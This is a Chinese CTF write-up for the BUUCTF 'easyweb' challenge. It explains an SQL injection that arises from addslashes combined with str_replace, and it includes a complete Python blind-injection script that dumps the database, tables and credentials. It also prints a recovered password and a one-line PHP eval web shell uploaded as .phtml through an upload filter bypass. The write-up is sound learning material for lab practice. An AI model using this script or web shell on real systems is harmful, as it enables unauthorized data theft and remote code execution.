BUUCTF WEB easyweb

这题考的是sql注入,主要是有两个过滤函数,然后两个过滤函数拼接过后产生了漏洞
审计页面源码,没发现啥好玩的,那就扫目录吧
dirsearch -u http://b53e32cc-9153-409a-a5cc-d89dafd9053b.node4.buuoj.cn:81/ -s 1 -t 1
扫出来一个robots.txt
查看
User-agent: *
Disallow: *.php.bak
先看index.php的代码
emmmm,失败了,那么看看index.php页面有没有包含点其他页面
user.php和image.php,那么就看看这两个页面的源码
尝试过后,发现只有image.php.bak可以下载

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

很明显的一个readfile在哪里,明显是我们的回显点
下面就是怎么利用的问题,关于这两个函数联合使用所导致的单引号逃逸细节可以看这篇
https://www.cnblogs.com/piaomiaohongchen/p/11304582.html

先来理解一下这个str_replace过滤的是什么内容,他过滤了四个内容·\0,%00,\','是的过滤的是\'不是\\',我也在这纠结了好久
看懂了这个也就不难理解,我们构造payload:?id=\0
过addslashes:\\0,过str_replace:\
于是在执行sql语句的时候变为了select * from images where id='\' or path='{$path}'
由于原生的单引号被\转移了,此时id是\' or path=,然后path就是我们随便带的了,payload为\0'的同理分析
虽然有readfile函数,但是经过测试并不存在目录穿越,本来想先insert一下,然后再select的,但是很不幸,失败了。所以还需要传shell

登陆界面先跑密码吧,看了别的师傅的二分脚本了,就不高兴再爆破了

import requests
import time
def exp(url_format,length=None):
    rlt = ''
    url  = url_format
    if length==None:
        length = 30
    for l in range(1,length+1):
        begin = 32
        ends = 126
        tmp = (begin+ends)//2
        while begin<ends:
            r = requests.get(url.format(l,tmp))
            if r.content!=b'':
                begin = tmp+1
                tmp = (begin+ends)//2
            else:
                ends = tmp
                tmp = (begin+ends)//2
        if tmp == 32:
            break
        rlt+=chr(tmp)
        print(rlt)
    return rlt.rstrip()
url ='http://e5e1a906-b0d7-4b34-b08f-25a51eb06b2b.node4.buuoj.cn:81/image.php?id=\\0&path=or%20ord(substr(database(),{},1))>{}%23'
print('数据库名为:',exp(url))
url ='http://e5e1a906-b0d7-4b34-b08f-25a51eb06b2b.node4.buuoj.cn:81/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x636973636e66696e616c),{},1))>{}%23'
print('表名为:',exp(url))
url ='http://e5e1a906-b0d7-4b34-b08f-25a51eb06b2b.node4.buuoj.cn:81/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=0x636973636e66696e616c and table_name=0x7573657273),{},1))>{}%23'
print('列名为:',exp(url))
url ='http://e5e1a906-b0d7-4b34-b08f-25a51eb06b2b.node4.buuoj.cn:81/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(username)%20from%20users),{},1))>{}%23'
print('用户名为:',exp(url))
url ='http://e5e1a906-b0d7-4b34-b08f-25a51eb06b2b.node4.buuoj.cn:81/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(password)%20from%20users),{},1))>{}%23'
print('密码为:',exp(url))

跑出密码:0a9af2b8d67e374a9c6d
拿admin账号去登陆,0a9af2b8d67e374a9c6d,登陆成功,文件上传,上个shell
反正就是一通乱尝试,过滤了文件内容里的<?php,然后就是文件后缀里的php
很好绕过的,phtml,<?=@eval($_POST["hello"]);?>
以为拿到上传路径拿蚁剑连接就好了,但是注入是在文件名里注入的,因为你看回显的内容就知道php文件输出了文件名
抓包改个文件名好了,再连shell
参考视频链接:https://www.bilibili.com/video/BV1h341157iT?spm_id_from=333.999.0.0

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值